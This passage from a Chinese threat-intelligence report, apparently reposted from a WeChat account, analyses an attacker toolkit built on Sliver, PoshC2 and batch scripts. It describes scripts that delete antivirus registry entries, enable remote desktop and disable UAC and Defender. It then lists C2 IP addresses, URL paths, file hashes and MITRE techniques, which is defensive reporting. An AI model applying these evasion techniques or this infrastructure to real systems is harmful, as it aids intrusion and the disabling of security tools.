这些命令会从 Windows 注册表中删除各种防病毒和安全服务的注册表项。通过定位 HKLMSYSTEMCurrentControlSetservices 路径,它们会删除 Kaspersky、Malwarebytes、McAfee、Norton、Avast、AVG、Avira 等安全软件的配置,从而有效地禁用这些服务。
脚本的这一部分已在之前的脚本中讨论过。这些主要与 Windows 设置有关,用于启用远程桌面、调整防火墙规则、更改某些实用程序的行为以及更改安全策略。具体来说,它们允许远程桌面连接、创建防火墙规则以允许传入的远程桌面流量,以及用命令提示符替换各种辅助工具和帮助功能的功能。此外,它们禁用 UAC 和 Windows Defender 并修改远程桌面,可能会削弱系统安全性。
受害者
在分析本次调查中确定的开放目录时,未发现与目标攻击或受害者有关的信息。
指标
PoshC2 IP Address:
94.198.53.143
185.234.216.64
Extracted C2 URLs:
/webhp/
/adsense/troubleshooter/1631343/
/trader-update/history&pd=/
/status/995598521343541248/query=/
/uasclient/0.1.34/modules/
/utag/lbg/main/prod/utag.15.js/
/GoPro5/black/2018/
/usersync/tradedesk/
/bootstrap/3.1.1/bootstrap.min.js/
/TOS/
/business/home.asp&ved=/
/web/20110920084728/
/vssf/wppo/site/bgroup/visitor/
/Philips/v902/
/bh/sync/aol/
/async/newtab/
/advanced_search/
/adServingData/PROD/TMClient/6/8736/
/vfe01s/1/vsopts.js/
/cisben/marketq/
/business/retail-business/insurance.asp/
/client_204/
/branch-locator/search.asp/
/work/embedded/search/
/babel-polyfill/6.3.14/polyfill.min.js=/
/cdba/
/putil/2018/0/11/po.html/
/qqzddddd/2018/load.php/
/types/translation/v1/articles/
/classroom/sharewidget/widget_stable.html/
SystemBC IP addresses:
94.198.55.181:4337
94.198.51.247:4337
IOC:
atera_del.bat
754e08c93369e5bfe24ca09b422affdd
591379f5d7d256e83de05207fd872acfa8e8aa5e
ea7dec8fa52d2300350367691ae2fbea13dbd5bf80d6b43b05eedf197529aa77
atera_del2.bat
3c1853831958efe2cc78ea82b4fbd565
dc14cffa48dd95157fd381cb75bae1773d510c54
512beb7dfa9fdbc8be7fbf59c7bec7911296f9e36c8a3d3b95e7aef4a88bf09c
backup.bat
91be6e6a8b4c2cb99db5b99d40e06978
86f599090aa2c7c1df65dccccf00e1818e72246a
beb5022543a1e12e1f8f5ffe5d520e5fc9cf623aea512cfb43ea2f8c2897420c
clearlog.bat
f7a730acc86f1d6759249ccc579b1794
fe1fb1da6435a6d6283e993569d3fc82a67d7ac8
09f91e90a1604a633c00d6039581f552603421356cb1edb62e085b32ff01b94e
cmd.cmd
5336dffb778b1e2a0b982b337652b213
bd65b5306914187f14bfffa995e7e68a8d036d0c
4106ce787cf73d7f8215311a241f0e42426301a5a2078da9e3349afade2df684
def1.bat
1393dab192ea2e2427889839a2d8fcf7
373609c0f30ee313fd0cc6c4e572452483d87244
0e626e01d3ae7840aa486468f40138284ccbd70dfe336a6b5d4008d01eb79988
defendermalwar.bat
1365640fc3c0e1824e348956172caed7
300c89889bbb5ef61f470174a6fcad73c4516779
5b43428452a867ad61554d763c8f19ca4cd8af8c31194304785e9e45f9258441
delbackup.bat
a8b335886e39adf23e6aa44a00bf82dc
2de53c24663149366fca22f354aff5c0f5b348f4
6cff22a3ea7c054075b9aded5933587bf997623183539e10e426d103d604f046
disable.bat
cc35c94e64830ff143b54783c9869ecf
4a8a4e6069ec4f6a4f24614eb885c57484bc9b79
fdc105ae79dff83f31777c6e047272c5b372251a3af49e20370e7ee9d1c70763
hyp.bat
d1e3216cf698a58832d947d95dc4f3f8
1224f9667d7f1d3b7fba17f414d343912bec03db
08d40a402b3754e52e4e86003bffddfdccbceefd335f53591f4cf715f8d30321
LOGOFALL.bat
9a66570b7e25035ff337fa6098f59823
a65d7caf354161798d2458cfee9e4e988f0e94af
03b3c37300bf9dcfaa4594e86841b70263324dda305484fb268b27deb09f936c
LOGOFALL1.bat
c84e1655f0ba917cc605018e32eba9f3
7dee2a38cc2ba81cc373b50f42c8946601d177cb
3691dbb1834db4eb8ef4c195d26779b87db267a56f2ebca6c146a53fb8adb9c0
native_dropper
444d7a27ac0327ccc0cf4e75a32025c9
8441e7b6b6b9f24439e71c6b031262bc76d73c28
039bf780ae46875945344af489a590c5b7a36d458372a3173b55b3dc3559dfff
NG1.bat
aae5ca4d0e7f000ba5f5250caaed0a05
d08878d7dffe082a908a4bb6387b4739c1a9d3eb
7e623f907b4a4c924cd8af3bf4b8df45b6f904723cbb26ec87cfe7792388afe1
NG2.bat
1a4e569f50695f53bd2368cc322a792d
0a99bd83472444e1bfdd53385fbf2e95bb6dbab9
d97e2e5e6b23ee0f1efa7326d7ac3240a0df9770bf7c2992eec890f073c9cada
ngrok.exe
e2eadf60d8f25cae9b29decab461177b
cecc54143cc375af1b9aed0021643b179574e592
1b60097bf1ccb15a952e5bcc3522cf5c162da68c381a76abc2d5985659e4d386
ON.bat
8c7c782df59edd61aabbc510d7747b11
66ac6cf4bb4247daf1d09d9d4bc4e357cc39c6c8
b0056bef817408449470d3fa43e13cbc89cabdae795b1dc8cbe9905c5946f530
Posh_v2_dropper_x64.exe
a5748047ebbe34d7821a2a040e4ca54e
55126d8215b771aa2f62f16e6aad9e8832824a4c
63229da1bed0c0eafc4ed087651af3eec521e7fbd098300f7d862582d03a675d
py_dropper.sh
679d0dab79a98da8e20351f9f887e4f2
9442647283e52c91c2e836b19749f184936cf6c2
01ec91a3145332174eef9239f7767adaa5e3dff3a436dfb7d2f978f88ea6cd93
setup_uncnow.msi (Atera Remote Admin)
c8903eb5763c670a15049d74d764188c
990f68cca516192d73ef443f51ed80813e324b0b
91d9c73b804aae60057aa93f4296d39ec32a01fe8201f9b73f979d9f9e4aea8b
shadow.bat
4cf52cee2001cd10528f429fb6d9fd07
3cf331934996ec4338418b847b52d78d8a29d224
87ab1707a553557b10fa721a32f053fbb40d11de6f692e96e067d03316fe530b
shadowGuru.bat
0f1290d014dfd9e66bbbed96a828f7d1
b8fc0194f6ed56e4a57c16756e506369c74c4078
2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465
VmManagedSetup.exe (SystemBC proxy malware)
7ee103ee99b95c07cc4a024e4d0fdc03
885fc76ba1261a1dcce87f183a2385b2b99afd96
cc4960939a41d6a281ddad307b107e16214f4aeda261c9b5037f26e60dc7bba2
WILD_PRIDE.exe (Sliver C2)
6b44d99b258c275ee7fcf230da177f3e
833a461f6d479d164b453cc9f5f51259d991b1b7
1aecadf489a6dd7a3a6e5dfda9425673a9d04d38a5cb6b0b8f961536c11237ed
z1.bat
97dc80d3844b01587d9fd6377b9ab0a7
93b717a562f2cc3fdf2355bd9d2670ba2391cc60
a668a98e57c03decf6ea76bb32f67f3f077ef2277e57f4117d44f4342977fddf
z.bat
fe00973fc12b3c6330abd9807dfb1d70
d2f5c890e3e1dd9b42e695586c06408b31d4ec7a
38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
MITRE
Accessibility Features - T1546.008
Account Access Removal - T1531
Application Layer Protocol - T1071
Asymmetric Cryptography - T1573.002
Clear Windows Event Logs - T1070.001
Deobfuscate/Decode Files or Information - T1140
Disable or Modify Tools - T1562.001
Disable Windows Event Logging - T1562.002
Encrypted Channel - T1573
Inhibit System Recovery - T1490
Modify Registry - T1112
PowerShell - T1059.001
Proxy - T1090
Python - T1059.006
Registry Run Keys / Startup Folder - T1547.001
Remote Access Software - T1219
Service Stop - T1489
System Owner/User Discovery - T1033
Web Protocols - T1071.001
Windows Command Shell - T1059.003
原文始发于微信公众号(Ots安全):威胁行为者工具包:利用Sliver、PoshC2和批处理脚本
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论